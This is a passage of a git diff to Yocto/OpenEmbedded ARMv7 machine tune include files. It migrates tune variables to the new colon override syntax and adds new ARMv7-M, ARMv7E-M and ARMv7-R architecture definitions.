+ARMPKGARCH:tune-armv7ab-vfpv3 ?= "armv7a"
+ARMPKGARCH:tune-armv7atb-vfpv3 ?= "armv7a"
+ARMPKGARCH:tune-armv7ab-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7atb-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7ab-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7atb-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7ab-neon-vfpv4 ?= "armv7a"
+ARMPKGARCH:tune-armv7atb-neon-vfpv4 ?= "armv7a"
+TUNE_FEATURES:tune-armv7ab = "${TUNE_FEATURES:tune-armv7a} bigendian"
+TUNE_FEATURES:tune-armv7atb = "${TUNE_FEATURES:tune-armv7at} bigendian"
+TUNE_FEATURES:tune-armv7ab-vfpv3d16 = "${TUNE_FEATURES:tune-armv7a-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7atb-vfpv3d16 = "${TUNE_FEATURES:tune-armv7at-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7ab-vfpv3 = "${TUNE_FEATURES:tune-armv7a-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7atb-vfpv3 = "${TUNE_FEATURES:tune-armv7at-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7ab-vfpv4d16 = "${TUNE_FEATURES:tune-armv7a-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7atb-vfpv4d16 = "${TUNE_FEATURES:tune-armv7at-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7ab-neon = "${TUNE_FEATURES:tune-armv7a-neon} bigendian"
+TUNE_FEATURES:tune-armv7atb-neon = "${TUNE_FEATURES:tune-armv7at-neon} bigendian"
+TUNE_FEATURES:tune-armv7ab-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7a-neon-vfpv4} bigendian"
+TUNE_FEATURES:tune-armv7atb-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7at-neon-vfpv4} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv7ab = "${PACKAGE_EXTRA_ARCHS:tune-armv6b} armv7ab-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7atb = "${PACKAGE_EXTRA_ARCHS:tune-armv6tb} armv7ab-vfp armv7at2b-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7ab-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ab} armv7ab-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7atb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7atb} armv7ab-vfpv3d16 armv7at2b-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ab-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ab-vfpv3d16} armv7ab-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7atb-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7atb-vfpv3d16} armv7ab-vfpv3 armv7at2b-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7ab-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ab} armv7ab-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7atb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7atb} armv7ab-vfpv4d16 armv7at2b-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ab-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ab} armv7ab-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7atb-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7atb} armv7ab-neon armv7at2b-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7ab-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ab-neon} armv7ab-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7atb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7atb-neon} armv7ab-neon-vfpv4 armv7at2b-neon-vfpv4"
# Big Endian + HF
AVAILTUNES += "armv7ahfb armv7athfb armv7ahfb-vfpv3d16 armv7athfb-vfpv3d16 armv7ahfb-vfpv3 armv7athfb-vfpv3 armv7ahfb-vfpv4d16 armv7athfb-vfpv4d16 armv7ahfb-neon armv7athfb-neon armv7ahfb-neon-vfpv4 armv7athfb-neon-vfpv4"
-ARMPKGARCH_tune-armv7ahfb ?= "armv7a"
-ARMPKGARCH_tune-armv7athfb ?= "armv7a"
-ARMPKGARCH_tune-armv7ahfb-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7athfb-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7ahfb-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7athfb-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7ahfb-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7athfb-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7ahfb-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7athfb-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7ahfb-neon-vfpv4 ?= "armv7a"
-ARMPKGARCH_tune-armv7athfb-neon-vfpv4 ?= "armv7a"
-TUNE_FEATURES_tune-armv7ahfb = "${TUNE_FEATURES_tune-armv7ahf} bigendian"
-TUNE_FEATURES_tune-armv7athfb = "${TUNE_FEATURES_tune-armv7athf} bigendian"
-TUNE_FEATURES_tune-armv7ahfb-vfpv3d16 = "${TUNE_FEATURES_tune-armv7ahf-vfpv3d16} bigendian"
-TUNE_FEATURES_tune-armv7athfb-vfpv3d16 = "${TUNE_FEATURES_tune-armv7athf-vfpv3d16} bigendian"
-TUNE_FEATURES_tune-armv7ahfb-vfpv3 = "${TUNE_FEATURES_tune-armv7ahf-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7athfb-vfpv3 = "${TUNE_FEATURES_tune-armv7athf-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7ahfb-vfpv4d16 = "${TUNE_FEATURES_tune-armv7ahf-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7athfb-vfpv4d16 = "${TUNE_FEATURES_tune-armv7athf-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7ahfb-neon = "${TUNE_FEATURES_tune-armv7ahf-neon} bigendian"
-TUNE_FEATURES_tune-armv7athfb-neon = "${TUNE_FEATURES_tune-armv7athf-neon} bigendian"
-TUNE_FEATURES_tune-armv7ahfb-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7ahf-neon-vfpv4} bigendian"
-TUNE_FEATURES_tune-armv7athfb-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7athf-neon-vfpv4} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahfb = "${PACKAGE_EXTRA_ARCHS_tune-armv6hfb} armv7ahfb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7athfb = "${PACKAGE_EXTRA_ARCHS_tune-armv6thfb} armv7ahfb-vfp armv7at2hfb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahfb} armv7ahfb-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7athfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athfb} armv7ahfb-vfpv3d16 armv7at2hfb-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahfb-vfpv3d16} armv7ahfb-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7athfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athfb-vfpv3d16} armv7ahfb-vfpv3 armv7at2hfb-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahfb} armv7ahfb-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7athfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athfb} armv7ahfb-vfpv4d16 armv7at2hfb-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahfb-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahfb} armv7ahfb-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7athfb-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7athfb} armv7ahfb-neon armv7at2hfb-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahfb-neon} armv7ahfb-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7athfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athfb-neon} armv7ahfb-neon-vfpv4 armv7at2hfb-neon-vfpv4"
+ARMPKGARCH:tune-armv7ahfb ?= "armv7a"
+ARMPKGARCH:tune-armv7athfb ?= "armv7a"
+ARMPKGARCH:tune-armv7ahfb-vfpv3d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7athfb-vfpv3d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7ahfb-vfpv3 ?= "armv7a"
+ARMPKGARCH:tune-armv7athfb-vfpv3 ?= "armv7a"
+ARMPKGARCH:tune-armv7ahfb-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7athfb-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7ahfb-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7athfb-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7ahfb-neon-vfpv4 ?= "armv7a"
+ARMPKGARCH:tune-armv7athfb-neon-vfpv4 ?= "armv7a"
+TUNE_FEATURES:tune-armv7ahfb = "${TUNE_FEATURES:tune-armv7ahf} bigendian"
+TUNE_FEATURES:tune-armv7athfb = "${TUNE_FEATURES:tune-armv7athf} bigendian"
+TUNE_FEATURES:tune-armv7ahfb-vfpv3d16 = "${TUNE_FEATURES:tune-armv7ahf-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7athfb-vfpv3d16 = "${TUNE_FEATURES:tune-armv7athf-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7ahfb-vfpv3 = "${TUNE_FEATURES:tune-armv7ahf-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7athfb-vfpv3 = "${TUNE_FEATURES:tune-armv7athf-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7ahfb-vfpv4d16 = "${TUNE_FEATURES:tune-armv7ahf-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7athfb-vfpv4d16 = "${TUNE_FEATURES:tune-armv7athf-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7ahfb-neon = "${TUNE_FEATURES:tune-armv7ahf-neon} bigendian"
+TUNE_FEATURES:tune-armv7athfb-neon = "${TUNE_FEATURES:tune-armv7athf-neon} bigendian"
+TUNE_FEATURES:tune-armv7ahfb-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7ahf-neon-vfpv4} bigendian"
+TUNE_FEATURES:tune-armv7athfb-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7athf-neon-vfpv4} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahfb = "${PACKAGE_EXTRA_ARCHS:tune-armv6hfb} armv7ahfb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7athfb = "${PACKAGE_EXTRA_ARCHS:tune-armv6thfb} armv7ahfb-vfp armv7at2hfb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahfb} armv7ahfb-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7athfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athfb} armv7ahfb-vfpv3d16 armv7at2hfb-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahfb-vfpv3d16} armv7ahfb-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7athfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athfb-vfpv3d16} armv7ahfb-vfpv3 armv7at2hfb-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahfb} armv7ahfb-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7athfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athfb} armv7ahfb-vfpv4d16 armv7at2hfb-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahfb-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahfb} armv7ahfb-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7athfb-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7athfb} armv7ahfb-neon armv7at2hfb-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahfb-neon} armv7ahfb-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7athfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athfb-neon} armv7ahfb-neon-vfpv4 armv7at2hfb-neon-vfpv4"
diff --git a/meta/conf/machine/include/arm/arch-armv7em.inc b/meta/conf/machine/include/arm/arch-armv7em.inc
new file mode 100644
index 0000000000..f7608ea2ee
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv7em.inc
@@ -0,0 +1,17 @@
+#
+# Defaults for ARMv7e-m
+#
+DEFAULTTUNE ?= "armv7em"
+
+TUNEVALID[armv7em] = "Enable instructions for ARMv7e-m"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv7em', ' -march=armv7e-m', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv7em', 'armv7em:', '', d)}"
+
+TUNECONFLICTS[armv7em] = "armv4 armv5 armv6 armv7a"
+
+require conf/machine/include/arm/arch-armv7m.inc
+
+AVAILTUNES += "armv7em"
+ARMPKGARCH:tune-armv7em = "armv7em"
+TUNE_FEATURES:tune-armv7em = "armv7em"
+PACKAGE_EXTRA_ARCHS:tune-armv7em = "armv7em"
diff --git a/meta/conf/machine/include/arm/arch-armv7m.inc b/meta/conf/machine/include/arm/arch-armv7m.inc
new file mode 100644
index 0000000000..2b69a3dfd1
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv7m.inc
@@ -0,0 +1,17 @@
+#
+# Defaults for ARMv7-m
+#
+DEFAULTTUNE ?= "armv7m"
+
+TUNEVALID[armv7m] = "Enable instructions for ARMv7-m"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv7m', ' -march=armv7-m', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv7m', 'armv7m:', '', d)}"
+
+TUNECONFLICTS[armv7m] = "armv4 armv5 armv6 armv7a"
+
+require conf/machine/include/arm/arch-armv6m.inc
+
+AVAILTUNES += "armv7m"
+ARMPKGARCH:tune-armv7m = "armv7m"
+TUNE_FEATURES:tune-armv7m = "armv7m"
+PACKAGE_EXTRA_ARCHS:tune-armv7m = "armv7m"
diff --git a/meta/conf/machine/include/arm/arch-armv7r.inc b/meta/conf/machine/include/arm/arch-armv7r.inc
new file mode 100644
index 0000000000..fac26cf4ad
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv7r.inc
@@ -0,0 +1,22 @@
+#
+# Defaults for ARMv7-r
+#
+DEFAULTTUNE ?= "armv7r"
+
+TUNEVALID[armv7r] = "Enable instructions for ARMv7-r"
+TUNE_CCARGS_MARCH = "${@bb.utils.contains('TUNE_FEATURES', 'armv7r', ' -march=armv7-r', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv7r', 'armv7r:', '', d)}"
+
+TUNECONFLICTS[armv7r] = "armv4 armv5 armv6 armv7a"
+
+require conf/machine/include/arm/arch-armv6.inc
+require conf/machine/include/arm/feature-arm-idiv.inc
+require conf/machine/include/arm/feature-arm-neon.inc
+
+AVAILTUNES += "armv7r armv7r-vfpv3d16"
+ARMPKGARCH:tune-armv7r = "armv7r"
+ARMPKGARCH:tune-armv7r-vfpv3d16 = "armv7r"
+TUNE_FEATURES:tune-armv7r = "armv7r"
+TUNE_FEATURES:tune-armv7r-vfpv3d16 = "${TUNE_FEATURES:tune-armv7r} vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7r = "armv7r"
+PACKAGE_EXTRA_ARCHS:tune-armv7r-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7r} tune-armv7r-fpv3d16"
diff --git a/meta/conf/machine/include/arm/arch-armv7ve.inc b/meta/conf/machine/include/arm/arch-armv7ve.inc
index d9d92f612b..8102ae6085 100644
--- a/meta/conf/machine/include/arm/arch-armv7ve.inc
+++ b/meta/conf/machine/include/arm/arch-armv7ve.inc
@@ -2,163 +2,163 @@ DEFAULTTUNE ?= "armv7vethf"
TUNEVALID[armv7ve] = "Enable instructions for ARMv7ve"
TUNECONFLICTS[armv7ve] = "armv4 armv5 armv6 armv7 armv7a"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'armv7ve', ' -march=armv7ve', '', d)}"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv7ve', ' -march=armv7ve', '', d)}"
MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv7ve', 'armv7ve:', '', d)}"
require conf/machine/include/arm/arch-armv7a.inc
# Little Endian base configs
AVAILTUNES += "armv7ve armv7vet armv7ve-vfpv3d16 armv7vet-vfpv3d16 armv7ve-vfpv3 armv7vet-vfpv3 armv7ve-vfpv4d16 armv7vet-vfpv4d16 armv7ve-neon armv7vet-neon armv7ve-neon-vfpv4 armv7vet-neon-vfpv4"
-ARMPKGARCH_tune-armv7ve ?= "armv7ve"
-ARMPKGARCH_tune-armv7vet ?= "armv7ve"
-ARMPKGARCH_tune-armv7ve-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vet-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7ve-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vet-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7ve-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vet-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7ve-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7vet-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7ve-neon-vfpv4 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vet-neon-vfpv4 ?= "armv7ve"
-TUNE_FEATURES_tune-armv7ve = "arm armv7ve vfp"
-TUNE_FEATURES_tune-armv7vet = "${TUNE_FEATURES_tune-armv7ve} thumb"
-TUNE_FEATURES_tune-armv7ve-vfpv3d16 = "${TUNE_FEATURES_tune-armv7ve} vfpv3d16"
-TUNE_FEATURES_tune-armv7vet-vfpv3d16 = "${TUNE_FEATURES_tune-armv7vet} vfpv3d16"
-TUNE_FEATURES_tune-armv7ve-vfpv3 = "${TUNE_FEATURES_tune-armv7ve-vfpv3d16} vfpv3"
-TUNE_FEATURES_tune-armv7vet-vfpv3 = "${TUNE_FEATURES_tune-armv7vet-vfpv3d16} vfpv3"
-TUNE_FEATURES_tune-armv7ve-vfpv4d16 = "${TUNE_FEATURES_tune-armv7ve} vfpv4d16"
-TUNE_FEATURES_tune-armv7vet-vfpv4d16 = "${TUNE_FEATURES_tune-armv7vet} vfpv4d16"
-TUNE_FEATURES_tune-armv7ve-neon = "${TUNE_FEATURES_tune-armv7ve} neon"
-TUNE_FEATURES_tune-armv7vet-neon = "${TUNE_FEATURES_tune-armv7vet} neon"
-TUNE_FEATURES_tune-armv7ve-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7ve-neon} vfpv4"
-TUNE_FEATURES_tune-armv7vet-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7vet-neon} vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7ve = "${PACKAGE_EXTRA_ARCHS_tune-armv7a} armv7ve armv7ve-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7vet = "${PACKAGE_EXTRA_ARCHS_tune-armv7at} armv7ve armv7ve-vfp armv7vet2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7ve-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve} armv7ve-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vet-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet} armv7ve-vfpv3d16 armv7vet2-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ve-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-vfpv3d16} armv7ve-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7vet-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-vfpv3d16} armv7ve-vfpv3 armv7vet2-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7ve-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve} armv7ve-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vet-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet} armv7ve-vfpv4d16 armv7vet2-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve} armv7ve-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet} armv7ve-neon armv7vet2-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon} armv7ve-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon} armv7ve-neon-vfpv4 armv7vet2-neon-vfpv4"
+ARMPKGARCH:tune-armv7ve ?= "armv7ve"
+ARMPKGARCH:tune-armv7vet ?= "armv7ve"
+ARMPKGARCH:tune-armv7ve-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vet-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7ve-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vet-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7ve-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vet-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7ve-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7vet-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7ve-neon-vfpv4 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vet-neon-vfpv4 ?= "armv7ve"
+TUNE_FEATURES:tune-armv7ve = "arm armv7ve vfp"
+TUNE_FEATURES:tune-armv7vet = "${TUNE_FEATURES:tune-armv7ve} thumb"
+TUNE_FEATURES:tune-armv7ve-vfpv3d16 = "${TUNE_FEATURES:tune-armv7ve} vfpv3d16"
+TUNE_FEATURES:tune-armv7vet-vfpv3d16 = "${TUNE_FEATURES:tune-armv7vet} vfpv3d16"
+TUNE_FEATURES:tune-armv7ve-vfpv3 = "${TUNE_FEATURES:tune-armv7ve-vfpv3d16} vfpv3"
+TUNE_FEATURES:tune-armv7vet-vfpv3 = "${TUNE_FEATURES:tune-armv7vet-vfpv3d16} vfpv3"
+TUNE_FEATURES:tune-armv7ve-vfpv4d16 = "${TUNE_FEATURES:tune-armv7ve} vfpv4d16"
+TUNE_FEATURES:tune-armv7vet-vfpv4d16 = "${TUNE_FEATURES:tune-armv7vet} vfpv4d16"
+TUNE_FEATURES:tune-armv7ve-neon = "${TUNE_FEATURES:tune-armv7ve} neon"
+TUNE_FEATURES:tune-armv7vet-neon = "${TUNE_FEATURES:tune-armv7vet} neon"
+TUNE_FEATURES:tune-armv7ve-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7ve-neon} vfpv4"
+TUNE_FEATURES:tune-armv7vet-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7vet-neon} vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7ve = "${PACKAGE_EXTRA_ARCHS:tune-armv7a} armv7ve armv7ve-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7vet = "${PACKAGE_EXTRA_ARCHS:tune-armv7at} armv7ve armv7ve-vfp armv7vet2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7ve-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve} armv7ve-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vet-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet} armv7ve-vfpv3d16 armv7vet2-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ve-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-vfpv3d16} armv7ve-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7vet-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-vfpv3d16} armv7ve-vfpv3 armv7vet2-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7ve-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve} armv7ve-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vet-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet} armv7ve-vfpv4d16 armv7vet2-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve} armv7ve-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet} armv7ve-neon armv7vet2-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon} armv7ve-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon} armv7ve-neon-vfpv4 armv7vet2-neon-vfpv4"
# HF Tunes
AVAILTUNES += "armv7vehf armv7vethf armv7vehf-vfpv3d16 armv7vethf-vfpv3d16 armv7vehf-vfpv3 armv7vethf-vfpv3 armv7vehf-vfpv4d16 armv7vethf-vfpv4d16 armv7vehf-neon armv7vethf-neon armv7vehf-neon-vfpv4 armv7vethf-neon-vfpv4"
-ARMPKGARCH_tune-armv7vehf ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethf ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehf-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethf-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehf-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethf-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehf-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethf-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehf-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethf-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehf-neon-vfpv4 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethf-neon-vfpv4 ?= "armv7ve"
-TUNE_FEATURES_tune-armv7vehf = "${TUNE_FEATURES_tune-armv7ve} callconvention-hard"
-TUNE_FEATURES_tune-armv7vethf = "${TUNE_FEATURES_tune-armv7vet} callconvention-hard"
-TUNE_FEATURES_tune-armv7vehf-vfpv3d16 = "${TUNE_FEATURES_tune-armv7ve-vfpv3d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7vethf-vfpv3d16 = "${TUNE_FEATURES_tune-armv7vet-vfpv3d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7vehf-vfpv3 = "${TUNE_FEATURES_tune-armv7ve-vfpv3} callconvention-hard"
-TUNE_FEATURES_tune-armv7vethf-vfpv3 = "${TUNE_FEATURES_tune-armv7vet-vfpv3} callconvention-hard"
-TUNE_FEATURES_tune-armv7vehf-vfpv4d16 = "${TUNE_FEATURES_tune-armv7ve-vfpv4d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7vethf-vfpv4d16 = "${TUNE_FEATURES_tune-armv7vet-vfpv4d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7vehf-neon = "${TUNE_FEATURES_tune-armv7ve-neon} callconvention-hard"
-TUNE_FEATURES_tune-armv7vethf-neon = "${TUNE_FEATURES_tune-armv7vet-neon} callconvention-hard"
-TUNE_FEATURES_tune-armv7vehf-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7ve-neon-vfpv4} callconvention-hard"
-TUNE_FEATURES_tune-armv7vethf-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7vet-neon-vfpv4} callconvention-hard"
